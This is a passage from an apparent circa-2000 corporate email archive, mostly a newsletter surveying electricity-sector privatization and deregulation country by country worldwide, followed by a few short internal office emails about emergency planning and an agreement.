              regulations have not yet been written.  The government is
              working with the IMF to set up financial controls and
              eliminate cross-subsidies.  Between 2001 and 2005, all
              generation will be upgraded or privatized.  Transmission will
              remain state-owned.  (Csilla Ilkei, White)

           ?  The Czech Republic: In October '00, the Czech government
              announced it would sell a strategic stake in generator CEZ
              and in six of the eight regional distributors to a single
              buyer. Privatization is expected to begin in 2001.  Many
              Western companies, such as Vattenfall and E.On have already
              been quietly buying up stakes in small municipal distributors
              who need the cash to balance their budgets. A new energy law
              should be also approved by the end of 2000, which would open
              power markets to competition between 2002 and 2006; prices
              should reflect costs by 2002.  Gas liberalization will follow
              in 2005.  CEZ is testing its controversial nuclear plant,
              Temelin, which should begin operating by spring 2001. CEZ
              plans to cut wholesale electricity prices by 20% after the
              commercial launch of Temelin. (Kristina Kalinova, White)

           ?  Hungary: Since December '95, majority shares have been sold
              in the six regional discos and five gencos to Western
              investors.   Eastern Europe's  earliest and most ambitious
              privatization program has fallen victim to a host of
              problems, especially central government price control.  AES
              and IVO-Tomen tendered new capacity tendered in 1999, but AES
              is now bringing MVM to arbitration over its failure to sign
              its agreed-on PPA.   Hungary will partially deregulate its
              market after 2002 but before it joins the EU. Further
              privatization opportunities include a coal-fired power plant
              as well as the monopoly transco, MVM. (Cs. Ilkei, White)

           ?  Moldova: The European Bank for Reconstruction and Development
              has expressed an interest in stakes in privatized assets of
              Modova, giving privatization scheduled for this year a boost.
              Majority shares will be sold in first in five distribution
              companies, then in three generators. The first attempt to
              privatize distribution failed to receive timely bids.  All
              companies will require substantial investment for upgrades.
              (White)

           ?  Romania: In September '00, the national electric company,
              Conel, was split into four independent units. These encompass
              fossil generation, hydro generation, transmission, and
              distribution and metering. Restructuring precedes eventual
              privatization, which will begin with distribution, followed
              by generation.  Current law requires foreign owners to have a
              local partner.  As Romania is one of the countries invited to
              join accession talks with the EU, it is opening its market in
              stages.  Currently, 10% (>100GWh) has choice; this will rise
              to 45% (>40GWh) next year.  Evenually, elegibility thresholds
              will be lowered to 20GWh, then 9GWh. (Cs. Ilkei,White)

           ?  Russia: In the mid-1990s, the Unified Energy Systems of
              Russia Joint Stock Company (UES; also known as RAO), was
              organized into 72 regional joint stock companies; UES still
              holds 49% shares in most of these regional utilities.  In May
              '00, President Putin fired the non-reformist energy minister
              who had blocked earlier attempts at privatization and
              liberalization.  The new minister is an unknown quantity.
              The head of UES has wanted to privatize significant portions
              of UES and to lift foreign ownership controls, currently at
              25%. (White)

           ?  Slovak Republic: In October 2000 the government approved a
              plan to restructure and partially privatize its energy
              sector; implementation legislation needs to be passed.  The
              plan would see state-owned Slovenske Elektrarne (the G-T-D
              monopoly) transformed into a 100% state-owned joint stock
              company.   Regional distributors will be separated from SE
              and merged in the first half of 2001 into three joint-stock
              companies, with a 49% block of shares to be sold.  Generation
              will also be separated and transformed into joint stock
              companies. Municipalities will acquire majority stakes in the
              heating plants.  The government will select a privatization
              adviser for SE and for the distribution companies in early
              2001. (Kristina Kalinova)

           ?  Turkey: The controversy over BOO (build-own-operate) vs. BOT
              (build-operate-transfer) arrangements for IPPs was resolved
              in January 2000.  Turkey passed a retroactive constitutional
              amendment allowing international arbitration for energy
              contracts.  Twenty-three BOT projects are affected.  Turkish
              economic growth is fueling a need to triple its capacity to
              64 GW by 2010.  In September, Turkey proposed an energy law
              that would separate state-owned TEAS into separate G-T-D
              entities.  Generation plants would eventually be available
              for privatization, while new plants would no longer be
              transferred to the government, but remain with the IPP
              builder.  The impetus for this proposed law is Turkey's
              interest in EU membership; only 1/8th of its 120 energy
              regulations meets EU standards.  (White)

           ?  Ukraine:  Authorities have announced the sale of seven of the
              country's 27 regional discos, in a transparent tender.   Such
              a sale has been unsuccessfully tried before.  Each sale will
              be for 25% plus one share. The distribution sector is beset
              with a host of problems including high non-payment, unpaid
              employees, and corruption.  The EBRD is pushing for progress
              on privatization before it provides funds to build an
              alternative to Chernobyl, which the authorities have agreed
              to close.

      Asian economies are recovering from the economic crisis and in some
      countries electricity demand is returning to pre-crisis levels.  Most
      governments are starting to move forward again with unbundling /
      restructuring plans in the power sector; although IPPs are facing
      ongoing problems relating to PPAs and lack of government guarantees.

           ?  Australia:  All customers in Australia should have choice by
              2003.  Victoria will to phase in full competition during
              2001.  New South Wales (NSW) has delayed full competition for
              residential users and small businesses to January '02.  The
              five other states plan to phase in full choice by 2003.
              Victoria's five distributors are facing revenue reductions of
              between 12% and 22% starting in 2001, whey they say will hurt
              their service capability.  Recent M&A activity has seen
              already- privatized Victorian distribution, retail, and
              transmission change hands, with new owners coming from Asia.
              ElectraNet, South Australia's (SA) transco, was sold as a
              200-year lease in September.  The National Electricity
              Market, comprising Victoria and NSW, started operating in
              December '99.  Queensland, SA and ACT will join in the next
              few years.

           ?  China:  China is aiming for nationwide interconnection,
              including Hong Kong, by 2010. Power pooling and increased
              interconnection is being tested in Zhejiang and Shanghai
              provinces.  As there is no process or body in place to
              oversee reforms, some believe that sector reform is a mere
              slogan. Investors are backing off of a number of planned IPPs
              following a government decision to cap the ROR for new
              projects at 10%.  Another issue is lack of government
              guarantees.  China plans to build hundreds of small rural
              hydro projects and to spend Yn55bn to upgrade rural power
              grids in 2000 as part of a project to bring electricity to 75
              million people who currently have no access.

           ?  India:  Five of India's 19 states have undertaken significant
              reforms: Orissa, Haryana, Andhra Pradesh, Karnataka, and
              Uttar Pradesh.  And, only four of the State Electricity
              Boards (SEBs), the principal buyers for independent power,
              are profitable.  IPP builders have been frustrated by a host
              of regulations, lack of guarantees, and SEB insolvencies.
              The growing Indian power deficit was dramatically highlighted
              this year by the withdrawal of two major investors, EdF and
              Cogentrix.
              A draft "Electricity Bill 2000" will be introduced in
              Parliament this winter.  It would create and empower
              autonomous State Electricity Regulation Commissions.  SEBs
              would be unbundled into G-T-D and corporatized within four
              months of passage.  Initially, states would initially retain
              G&D assets; they would later be privatized.  Transmission
              assets would be put under an independent authority, and TPA
              would be allowed.  Significantly, IPP licensing requirements
              would be clarified and reduced, and largely eliminated for
              the growing segment of captive producers.  A key problem of
              theft ? as high as 30% of T&D losses in some areas ? would be
              addressed by strict metering and high penalties.  The
              likelihood, however, of the Bill being passed as proposed is
              not strong, as it faces significant opposition both by unions
              and regional parties in Parliament.

           ?  Indonesia:  Indonesia's IPP program has faced problems over
              power purchase costs and project rates of return, with
              bankrupt state-owned PLN claiming it is unable to pay IPP
              operators for power.  Of 27 planned IPP projects, only three
              now supply power; six others are ready to generate.  PLN
              reached an interim agreement with Paiton Energy under which
              Paiton will supply energy for 10 months, at a rate said to be
              much lower than the original agreed-upon price.  Other PPA
              renegotiations will likely force IPPs to operate at a loss
              until the Indonesian economy revives and PLN's financial
              situation improves.  Unbundling is underway on Java/Bali,
              where PLN has created two generation subsidiaries.  Outside
              Java/Bali, unbundling of PLN will be along geographic lines.
              The Indonesian government recently selected KEMA Consulting
              to develop rules for a competitive market.

           ?  Japan:  On March 21, 8000 large customers (30% of the market)
              were allowed to choose a supplier.  This broke the monopolies
              of the ten regional IOUs for the first time, but high
              transmission access fees set by the incumbents are inhibiting
              true competition. Newer liberalization measures in the
              electricity and gas sectors have since been written --  an
              agreement was signed at the July G8 Summit which provides for
              fair and transparent non-discriminatory access to
              distribution networks in both sectors.  A number of new
              companies are entering (or planning to enter) the market,
              largely set up as JVs with local non-incumbents, often
              offering new products and services.
              In August the government awarded a tender to a non-utility,
              Diamond Power, a Mitsubishi unit, to supply electricity to
              the Ministry of Trade and Industry at a rate 4% lower than
              incumbent TEPCO's.  TEPCO plans to build a new nuclear plant
              to cut generation costs and plans to streamline operations in
              the face of increased competition.

           ?  Malaysia:  Jamaludin Jarjis was appointed as the new chairman
              of Tenaga Nasional Berhad (TNB) in July.  He assured
              investors that restructuring begun three years ago by his
              predecessor would remain intact.  TNB will be transformed
              into two separate T&D companies by 2003, with an equity
              interest in generation.  Generation assets have already been
              separated into TNB Generation; thermal generation will be
              sold.   The government has approved the construction of more
              IPPs to meet the demand for electricity, which has grown 12%
              compared to the period before the economic crisis.  Work on
              the Bakun Hydro Project in East Malaysia has resumed, but it
              remains to be seen whether the project will go ahead as
              originally planned or on a smaller scale.

           ?  New Zealand: 1999 saw ECNZ split into three gencos to create
              further competition  -- Genesis Power, Meridian Energy, and
              Mighty River Power.  They have been corporatized but will
              remain under government ownership.  Legislation passed in
              1999 forbade ownership of wires (non-competitive) and
              generation and retailing (competitive) by the same company.
              Companies have until 2004 either to sell one business type or
              to set up a separate trust to own and run the businesses they
              do not wish to keep. By February '00, most had implemented
              full separation.  The newly merged (75.8%) NGC/TransAlta will
              be the largest energy retailer in New Zealand, with a market
              cap of NZ$2.1billion and more than 650,000 customers.

           ?  Pakistan:  Pakistan is trying to attract IPPs with negotiated
              PPAs which allow fixed ROR of 12%, but IPPs face continued
              lack of guarantees and other political uncertainties.
              Problems continue over Hub Power Company (Hubco), the largest
              IPP project in Pakistan.  Hubco is receiving significantly
              lower payments from WAPDA than originally contracted.  The
              government has alleged that corruption occurred when the PPA
              was amended in the 1990's, making the wholesale power tariff
              untenable for WAPDA and excessively lucrative for Hubco.
              More than 20% of plants have already been sold in a phased
              sell-off of WAPDA's generation.  Eight parties have been
              short-listed for the pending privatization of 51% of Karachi
              Electric Supply Commission, but the sale has been often
              delayed.

           ?  Philippines:   An Omnibus Electricity Bill, which will set
              the framework for the breakup and privatization of Napocor,
              is stalled in a House-Senate reconciliation committee.  The
              Asian Development Bank has threatened to withhold all
              financial assistance, including $100million in loans for
              power related projects, until the legislation is passed.
              Napocor is on the verge of bankruptcy and energy department
              officials are looking at several alternate options for
              selling the utility in the absence of a restructuring bill.
              Government-appointed advisers have also recommended that
              Napocor renegotiate some of its take-or-pay contracts with
              IPPs, asking some IPPs to reduce power off-take on an interim
              basis.  Napocor has offered the IPPs that accede to these
              conditions a longer life span for their projects, but
              developers are reluctant to accept because of their own
              financial commitments.

           ?  Singapore:  Since initial restructuring and corporatization
              in 1995 and the establishment of a pool in 1998, Singapore
              has lagged in power sector deregulation.  Investors complain
              that the market lacks clarity and that retail competition has
              yet to develop even though the rules allow competition for
              large consumers.  A thorough review in 1999 by the Ministry
              of Trade and Industry recommended that:  generation  be
              privatized, but with restrictions on generation
              cross-ownership; transmission and market operation functions
              be separated and an ISO established; and that most retail
              services be privatized.  The government has granted two
              public retail licenses, meaning that the two IPPs can sell
              electricity directly to large users.  Retail licenses are
              expected to be issued to the three power generators.  This
              will allow full competition for large industrial and
              commercial customers, but retail competition for smaller
              customers is unlikely to be in place before 2002.

           ?  South Korea: South Korea is proceeding with a major
              restructuring program, following government approval in July
              1999 for state-owned KEPCO to be broken up into six gencos.
              KEPCO will retain the nuclear assets as one genco.  Each of
              the five other gencos will be listed in stages on the Korea
              Stock Exchange; up to 30% foreign ownership will be
              permitted.  The privatized gencos will sell to KEPCO, which
              will initially retain its T&D services.  Later, a UK-type
              pool will be established where all generators will sell into
              the pool. Competition in distribution and retailing is a
              long-term target.  IPP projects totaling 2,515MW are already
              in operation.  Impending restructuring has not deterred
              foreign interest in several ongoing IPPs.

           ?  Taiwan: Two phases of IPP development have been approved, but
              only one IPP scheme has started up.   Developers have faced
              land acquisition problems, causing IPP schedules to slip.  In
              1999, the government announced plans to launch Phase Three,
              limited to gas-fired plants.  An Electricity Act is before
              Parliament.  Its main provisions include: privatizing
              Taipower without unbundling G-T-D; allowing other companies
              to enter the market as either vertically integrated,
              generation, transmission or distribution companies and to pay
              Taipower a fee for using its facilities; and the creation of
              an independent regulator, especially for tariffs.  IPPs will
              be able to supply customers at 161kV and above, and IPP
              prices will not be regulated.

           ?  Thailand: The 1999 State Enterprise Corporatization Act laid
              out a three-stage process for all state-owned enterprises,
              including power, to create fully competitive, restructured
              and privatized sectors.  A draft Energy Act is under
              discussion, while preparation and implementation of various
              technical frameworks are underway. Under the Act, a
              competitive wholesale pool would be introduced in 2003,
              although some sources doubt that it could be ready by then.
              It is also unclear how soon Thailand will have a transparent
              and independent regulatory body. EGAT transferred two thermal
              units to Ratchaburi following its IPO in October; EGAT also
              plans to corporatize and partially privatize its non-hydro
              plants by 2003.  Before the economic crisis, the government
              had an ambitious IPP program; EGAT now has excess capacity,
              so has delayed many projects.  Its long-term plans include
              the construction of a series of Small Producer Plants (SPPs)
              using renewable energy.  PPAs have been signed with 50 SSPs.

           ?  Vietnam: Vietnam is in the nascent stages of reforming its
              power system. Electricity of Vietnam (EVN) is an unbundled
              state monopoly, which does not even service rural customers.
              Local villages provide services to small farmers and small
              commercial businesses using thin wires and low standards. The
              World Bank has approved a $150million credit to Vietnam to
              extend grid electricity to about 450,000 households scattered
              throughout the country.  A few IPPs are trying to win
              generation projects.   An Electricity Law due to be enacted
              in 2001 would establish a National Electricity Office for
              regulation.   This would replace the existing haphazard
              village-level regulatory system.

      Profoundly affected by inflation and currency fluctuations, many
      Latin American countries have postponed further privatizations.  At
      the same time, ownership limits imposed by several governments limit
      further investments by companies who have already entered the market.
      According to the Inter-American Development Bank, privatization of
      electricity distribution and generation has been accomplished in all
      of the major Latin American economies with the exceptions of
      Venezuela and Mexico.  It estimates that 75 million Latin Americans
      are still not connected to the grid in rural areas of poorer
      countries such as Peru, Bolivia, and some Central American countries.
      Many of the countries that have not already implemented reforms are
      beginning to propose regulatory structures that would open markets to
      investments.  And for those who were already open, a new development
      is the increasing number of transmission systems being offered either
      as concessions to build or as full privatizations.  A big factor
      impacting generation this year has been the region's heavy reliance
      on hydro-power.  Serious region-wide droughts during the last few
      years have caused power shortages and scared away some investors.

           ?  Argentina:  The big news is in Argentina transmission sector.
              This fall, Argentina auctioned off 25% of Transener in an
              IPO, while also offering six lines to the private sector on a
              B-O-M (build-operate-maintain) basis. Endesa (Spain) must
              divest one of its two Buenos Aires distributors due to
              antitrust concerns  (Endesa's two companies are now serving
              40% of the countries 36 million people).  The regulator
              believes that the two holding inhibit its ability to evaluate
              efficiency and to set prices.

           ?  Brazil:   Brazil's wholesale energy market (WEM) began
              operating in October; initially, only 5-10% of power bought
              or sold will go through WEM.  As other contracts expire it
              will eventually supervise $15 billion worth of power.  The
              WEM intends also to create an internet-based trading system.
              The Brazilian system, 95% hydro-run, is dependent on
              plentiful rains to avoid shortages.   Demand growth has far
              outstripped GDP, while new generation is not keeping pace.
              Analysts predict a 15% shortage in 2001, with intermittent
              brownouts, while neighbors are building generation with an
              eye to exporting power to Brazil.
              Sao Paulo state will sell 38.6% of CESP Parana, one of the
              last large generation privatizations,  in December.  The
              state is incenting buyers by offering financing for any
              premium paid over the minimum price of R1.74 billion (US$
              901mil).  Brazil also conducted a successful action of three
              transmission lines in August on a build-operate basis.

           ?  Bolivia:  Ende, Bolivia's utility, was unbundled in '94 and
              has been successively sold off through capitalization (a 50%
              stake and management control).  To meet demand rising at 7.5%
              annually, the government has ordered these buyers to invest
              $296 million in the next three years or face losing their
              concessions; they have not fulfilled previous obligations in
              upgrades.   Generators recently defeated an attempt to allow
              distributors to generate up to 30% of demand instead of 15%.

           ?  Chile: Privatization in Chile is largely complete. Endesa's
              (Spain) controversial takeover of Enersis (Chile) will be the
              basis for its diversification into telecom, via its
              subsidiaries Enersis and Chilectra.  Partially in response to
              Endesa's vertical dominance, partially in response to supply
              conditions engendered by prolonged drought, and partially to
              increase competition, Chile has proposed new regulation plans
              which will open the distribution market and reduce node
              (unregulated) prices from 2MW to 0.2 MW.  Until now,
              transmission charges have been based on existing operating
              costs. Under the proposed reform, they would be calculated on
              the operational costs of an optimum network. The reforms also
              intended to remove control of the grid operation from the
              generators.  The proposed changes likely account for Hydro
              Quebec's being the sole bidder among those pre-qualified for
              the 100% sale of Transelec in September.
              1999 marked a serious recession and drought, seriously
              affecting hydro generators, which represent nearly 80% of
              Chile's generation.  Under the existing system, generators
              had no incentive to plan for long-term supply.  Chile hopes
              the new regulations will break down the entry barriers to
              generation and to introduce competition into distribution,
              heretofore a monopoly.

           ?  Colombia: Continuing labor strikes plus terrorist attacks
              against transmission installations have forced the government
              to postpone the sale of any further power assets, including
              Isagen, the state generator, ISA, the transco, as well as 14
              regional distributors. (A March attack, for instance, caused
              a blackout in 9 provinces and most of Bogota for six hours or
              more.)  The government claims to be reassessing the rules,
              but the reality is that the assets would not receive any
              decent offer now.  For now, 100- 300 million new shares
              (13.5% of capital) in ISA will be sold to the public at a 15%
              discount, to "democratize" the power sector. Since January
              '00, 90% of the market has had choice.

           ?  Cuba:  The first IPP began delivering power to Cuba's grid in
              October '98.  In order to curb programmed blackouts, it has
              invited foreign investors to help discover and develop new
              crude reserves.  Cuba hopes that 70% of its power will be
              generated from local fuels by year-end.

           ?  Dominican Republic: Blackouts still plague this nation a year
              after the government split state-owned CDE into separate
              G-T-D units.  Investors paid $750 for a 50% stake and
              management control of non-hydro generation and of
              distribution.  The new government is requiring IPPs (who
              provide 40% of the republic's power) to renegotiate the terms
              of the privatization contracts signed with the prior
              government.  In the hopes of increasing competition and
              lowering prices, the gencos are planning a power
              clearinghouse through which they will sell electricity to T&D
              companies.  It will, however, "only function when there is
              adequate electricity to meet demand."

           ?  Ecuador: The government has hired Salomon to oversee the sale
              of its power sector.  There is a current investment limit of
              39%, which may need to be raised to 51%.  The government
              realizes that reforms will need to come before privatization
              in order to attract capital.  Its largest utility, EMELEC,
              will be sold in international bidding to pay off extensive
              debts.

           ?  El Salvador: In October, AES bought Reliant's interest in
              three discos (privatized in 1998), which together serve 60%
              of the population.  CEL, the SOU, does not plan to privatize
              its hydro assets or the transmission grid for the moment.

           ?  Guatemala:  Guatemala sold two major discos in 1998;
              investors have made significant system upgrades.  State
              utility INDE still owns 45% of the country's generation, all
              in hydro.  It extensively encouraged IPPs in the early 90s
              with take-or-pay PPAs; IPPs are allowed unrestricted grid
              access.  The power sector, while needing new investment for
              the next five years, may soon be in trouble due to currency
              devaluation, high fuel costs, and the effect of the PPAs.
              Guatemala also needs to finish writing the implementing
              regulations to their 1997 law to encourage more investment.

           ?  Jamaica:  For the second time in four years, the Jamaican
              government has proposed a partial privatization of PSC, which
              handles all of T&D and 75% of the island's generation.  And,
              for the second time, it is Southern who is in the forefront
              of privatization negotiations.  It is still not clear what
              percent will be sold, but it seems likely to be a marginal
              minority of 45%, without G-T-D first being spun-off.

           ?  Mexico: The new Fox administration plans to revive
              electricity reform, tabled last year, without which energy
              cannot keep pace with economic growth.  Fox says there will
              be no privatizations, but an opening of the market.  Private
              participation in the distribution sector would require a
              constitutional change.  Many believe that constitutional
              change will be necessary to achieve adequate reforms.
              Mexico estimates it needs investments of $25 billion in the
              power sector in the next five years to meet growing demand;
              reserve margins are at 6%, while consumption is growing at 6%
              - 8% annually.  Without a clear regulatory bill opening the
              market to competition, investment is inhibited.  IPPs have
              heretofore been built on a B-O-O basis.  Recent tenders have
              included the option to build either in the U.S. or Mexico,
              with power dedicated to Mexico.

           ?  Nicaragua:   The privatization of state-owned power company
              (ENEL) is underway, following its restructuring.  Assets were
              first split into G-T-D companies.  In September '00, Spain's
              Union Fenosa acquired 95% of two discos for $115 million in
              an auction in which it was the sole bidder. High oil prices
              forced the government to postpone the October sale of the
              three gencos; two of the three pre-qualified companies failed
              to submit final bids.  Also, the political opposition has
              challenged the legality of the privatization in the Supreme
              Court.

           ?  Panama: Privatization of government-held IRHE is now
              complete; 51% of distribution and generation was sold in
              1998. The government plans to retain control of transmission.
              Foreign investors are involved in building some generation.
              The big news is the Central American integrated grid, which
              should join Guatemala, El Salvador, Honduras, Nicaragua,
              Costa Rica, and Panama into a single market by 2006.  The
              IADB is running project.

           ?  Peru: The new Energy Minister, Chamot, favors re-starting the
              privatization program, stalled since September '99.  SOUs
              mentioned for privatization were six regional energy
              companies, as well as a 850MW Andean hydro complex, Mantaro.
              It was not clear what form privatization would take; nor is
              it clear what will happen now that Fujimori has resigned and
              fled.  Peru also announced bids for construction and
              operation of two transmission lines.  Currently, only large
              industrials, representing 10% of the market, have choice.
              There are no plans to expand this.

           ?  Trinidad and Tobago: While there has been a partial
              unbundling of the generation arm of T&TEC, the government
              utility retains control of T&D as well as of all of natural
              gas purchases.  There been neither much IPP nor privatization
              activity since the sale of 49% of T&TEC to Southern and BP
              Amoco in 1996 and the financing of one IPP in 1998.

           ?   Venezuela: The Chavez government imposed an electricity
              restructuring law in August 1999.  Industrials can choose
              their supplier, but there are no plans to open the market
              completely.  A wholesale market is proposed for 2002.
              Venezuela has the lowest tariffs in the Western hemisphere,
              due to high subsidization.  While the government dithered on
              privatization plans, AES jumped in with a surprise bid for
              the ADRs of Electricidad de Caracas.  The government recently
              announced a tentative sale date of early 2001 for 51% of two
              regional electric companies, Enelven and Semda.
              Privatization has oft been postponed, most recently because
              of unknown effects of Venezuela's new electricity law on its
              rate policy.

           ? Virgin Islands: In September '00, this U.S. territory's Senate
             quashed a deal in which Southern had privately negotiated for
             an 80% purchase of the Water and Power Authority.  The Islands
             could use the money, but the Senate objected to the lack of
             bidding or transparency.  It was in principle opposed neither
             to privatization nor to Southern.

      African and Middle Eastern governments are increasingly opening their
      power sectors to foreign investment, although most have not moved
      beyond allowing IPPs.  Many Gulf-States' IPPs are for water and
      power.   Increasingly, power sector forecasts include reliance on the
      private sector for generation capacity additions.  Five Sub-Saharan
      countries have privatized their power systems: C"te d'Ivoire, Gabon,
      Guinea, Mali, and Senegal.  A few countries are beginning to discuss
      partial privatization of the entire government-owned entity, rather
      than spinning off G-T-D and undergoing separate privatization.

      Heavy reliance on hydro power in some areas of Africa have put
      pressure on prices, due to sustained droughts, especially in East
      Africa.   Droughts are usually not conducive to advancing
      restructuring agendas in different countries.

      A notable regional trend in both Africa and the Middle East are the
      schemes for regional transmission links.   The Mozambique
      Transmission Company links South Africa, Mozambique, and Swaziland;
      the West African Power Pool will link 16 countries; there is a
      Six-Country link underway between Egypt, Jordan, Iraq, Syria, and
      Turkey, and later Lebanon.

           ?  Algeria: Interior minister Khelil, who as a World Bank
              official oversaw the restructuring of state oil companies in
              several countries, is committed to "a profound restructuring
              of Sonatrach (the NOC) and the power sector (Sonelgaz)."
              Legislation was introduced this summer that would unbundle
              G-T-D, end Sonelgaz' generation monopoly, and allow for IPPs
              on a B-O-T basis. Some of the IPPs are intended for domestic
              consumption, and some for export.  Algeria is keenly
              interested in sending power to deregulating European markets
              via a new undersea link to Spain.

           ?  Ghana:  With a vast hydroelectric station on the Volta River,
              98% of Ghana's current power needs are supplied by
              hydroelectricity. Ghana's planned privatization of its
              distribution company into 4-5 regional companies is possible
              in 2001.  It is implementing a series of power sector reforms
              designed to provide Ghanaians with universal access to
              electricity and to transform Ghana into a middle-income
              country within one generation.  It is moving to reduce its
              reliance on hydro-power by allowing IPPs to build deisel,
              gas, and light crude plants.  Regionally, Ghana is committed
              to building a West African Power Pool (WAPP) by expanding
              electricity generation and interconnections.

           ?  Morocco:  Two distribution concessions are due to be awarded
              for Tangiers and Tetouan.  The concession covers the
              provision of water, sewerage, and electrical services to
              these two northern areas. Two earlier power/water concessions
              (Casablanca, Rabat) were awarded.  Morocco has an active IPP
              program; one of the plants was even transferred to the
              builders after its completion.  No sale of transmission
              assets is planned.

           ?  Nigeria: The IMF has provided Nigeria a $1billion facility to
              encourage reform and to support civilian President Obasnjo.
              In November, the government announced plans to privatize

              ailing NEPA, the SOU. While a draft electricity policy has
              been prepared, no details have emerged.  They intend to send
              regulatory legislation to the parliament by the end of
              December, which should include a framework for foreign IPP
              investors.  It is also likely that NEPA will be broken up,
              prior to privatization. Enron is supplying 270MW via 9
              barge-mounted power facilties off Lagos to ease the power
              shortages in this oil-rich country.

           ?  Senegal: Showing how risky foreign investment remains, the
              new Senegalese government has asked Hydro Qu,bec and Elyo to
              leave, less than two years after they won a 34% interest in
              state EU S,n,lec.  The current government, while
              acknowledging the advances made in rehabilitating old plants,
              cited cronyism on the part of its predecssors.

           ?  South Africa: Eskom, South Africa's parastatal, generates 95%
              of the country's power, and transmits it over national lines
              to municipal distributors.  South Africa is moving slowly
              towards restructuring and unbundling of G-T-D.  The
              fragmented distribution system will be merged into six
              discos, while plants may be grouped into gencos. Last year,
              G-T-D activities were "ring-fenced" to evaluate costs for
              each business.  A new structure for the electricity supply
              industry is being discussed, and the possibility of
              privatizing 30% of Eskom's power stations has been raised for
              the first time. Electricity regulators announced in November
              that they were considering three bids for the first IPP
              license, to be offered next year. While South Africa needs
              new generation capacity by 2004, it now exports power to its
              neighbors, and is very active in the creation of a regional
              transmission network.  Eskom has ambitions to be a global
              player, while continuing to focus on its development agenda
              of rural electrification.  Eskom Enterprises, the unregulated
              business subsidiary, is considering an IPO.

           ?  Egypt: In July, the Egyptian Electricity Authority was
              converted into a holding company, although still state-owned.
              It intends to offer 49% stakes in seven or eight regional G&D
              companies.  The sale of Greater Cairo Electricity, valued at
              $2.1 billion, will be first, although it has been twice
              postponed.  All capacity additions will be solicited
              competitively as IPPs under the BOOT (build- own- operate-
              transfer) model. This allows developers to recover
              construction costs by running a plant, while the state
              eventually owns the project without affecting its debt
              profile.   Egypt is part of a planned Six-Country
              transmission link.

           ?  Israel: Israel has been discussing restructuring and
              privatization for a few years now, but no real progress has
              been made. An electricity law passed in March '96 extended
              the Israel Electric Company (IEC) license for 10 years in
              exchange for its accepting 10% of it power needs (900MW) from
              IPPs, and another 10% from foreign developers. So far, only
              one IPP has been built.  Recent offshore gas discoveries have
              been largely in Palestinian waters; further exploration will
              be necessary before Israel, which has no indigenous fuel
              sources, knows whether it will have an assured fuel supply.

           ?  Jordan: With virtually no indigenous oil or gas, Jordan has
              been highly dependent on Iraqi oil.  In early '98, NEPCO, the
              state utility, was corporatized, and G-T-D was unbundled.
              Jordan's first solicited IPP (450MW) was awarded to Tractebel
              in May.  There is talk of relying on IPPs for further
              generation and of privatizing existing assets.  Consultants
              were sought in August to advise Jordan on distribution
              privatization.  Jordan's transmission grid was linked to
              Egypt in '98; the link to Syria should be completed soon.

           ?  Kuwait: Lifting a freeze on large projects, the cabinet has
              allowed two new IPPs (1000MW, 2500MW) with possible private
              financing options.  Forcasts for power show 5500 new MW
              needed in the next 15 years.

           ?  Lebanon:  After years of war, Lebanon is now engaged in
              massively rebuilding its infrastructure.  In April,
              consultants were invited to bid on advising Lebanon on
              restructuring and eventual privatization of its power sector.
              Lebanon was admitted in May to the planned Six-Country
              regional transmission linkup.

           ?  Palestine:   The outlook for Palestine's energy independence
              changed in a moment this Autumn, with offshore gas fields in
              acknowledged Palestinian waters proving substantial.  It has
              been nearly totally dependent on Israel's IEC for power.

           ?  Qatar: Officials announced in February that they had invited
              five companies to submit proposals for an IPP.  Foreign
              developers would hold a 60% stake in a plant envisioned to
              begin at 200MW, rising later to 1100MW.  A decision would
              turn on a bid of less than 5.5 cents/kWh to generate power.
              Qatari nationals pay no power or water tariffs.

           ?  Saudi Arabia: Saudi Arabia's 5% demand growth has created a
              need for an additional 50GW of capacity by 2020, much of
              which will need to come from the private sector.
              Privatization of the sector is being considered, as is an
              unbundling of G-T-D.  As a first step, in February, the ten
              power companies were merged.  In April, the Saudi Electricity
              Company was created as a joint-stock company, 50%
              government-owned.  The consensus among potential investors is
              that much needs to be done on the regulatory system, the
              financial framework, and on tariffs before IPPs become
              feasible.  For instance, nationals pay only nominal amounts
              for power.  Early considerations of BOT projects to meet
              soaring demand were shelved.

           ?  Tunisia: The Parliament passed enabling legislation for
              independent power in April '96.  While the government will
              continue to control D-T and international trade, all new
              generation will be open to the private sector.  The first
              IPP, for 471MW, is scheduled to come online in 2001.  It will
              produce 20-25% of Tunisia's electricity.

           ?  United Arab Emirates: The UAE is a confederation of 7
              Emirates.  Political power is concentrated in Abu Dhabi; it
              and Dubai provide over 80% of UAE income.  In '98, the UAE
              called for comprehensive restructuring of the power/water
              authority, and for privatization through IPOs aimed at UAE
              nationals.  While privatization in Abu Dhabi is still
              anticipated, Dubai has decided not to privatize these
              sectors.  Several IPPs are underway in Abu Dhai and Dubai, as
              both BOO and BOOT. The UAE's need for additional power may be
              met by a grid linking several Gulf States' systems, which is
              under discussion between the UAE, Oman, Saudi Arabia, Qatar,
              Kuwait, and Bahrain.

                                    * * * * *

      As it is fairly difficult to track developments in countries around
      the world, the authors would appreciate any local amendments.
      Please feel free to send us comments, criticisms (not many),
      suggestions for exhibits, and updates.  If you would like to be
      removed from the mailing list, please let Carol Brotman White know.
      Likewise, if you know of someone who should be added.

      For additional country or regional information, please contact
      individual European EPNG R&Is for Europe; Pru Sheppard for Asia; and
      Carol Brotman White for Latin America, the Middle East, or Africa.
      More detailed spreadsheets are available for each country and region
      from the authors.

      The Financial Times, African Energy, East European Energy Report,
      Global Private Power, Power in Asia, Power in Europe, Power in Latin
      America

      IFR Newsletters, Privatisation International

      McGraw-Hill, Electric Power Daily, Global Power Report, International
      Private Power Quarterly

      McKinsey Private Power Database

      Morgan Stanley Dean Witter, International Investment Research
      (various)

      Target Research, Latin American Power Watch

      U.S. Energy Information Administration, Country Analysis Briefs

      Company and Country website

+-------------------------------------------------------------+
| This message may contain confidential and/or privileged     |
| information.  If you are not the addressee or authorized to |
| receive this for the addressee, you must not use, copy,     |
| disclose or take any action based on this message or any    |
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(See attached file: Intlmail 3 exhibits.ppt)
 - Intlmail 3 exhibits.ppt

We really need to develop a plan for the group.  Attached is the plan I 
prepared last year - we can use this as a starting point.  

Keith - I am going to let you take the lead on this, as it will be critical 
that our customers can reach us no matter where we are....  We can then 
discuss PCG functions that are critical to ongoing ops in case of an 
emergency.   

Let's discuss more next week once Phase 2 is launched and things settle 
down.  However, it is imperative that we develop a plan as quickly as 
possible - this tropical storm could have very easily hit Houston, and we do 
not have anything in place at the moment.

Thanks
Sheri

Just checking on the progress of the agreement before you leave.  In case I 
don't talk to you - have fun in China.  And thanks for all of your help!

Kim

Steve looks ok.  Although I always thought I built Canada.  I guess not eh.

Lavo.

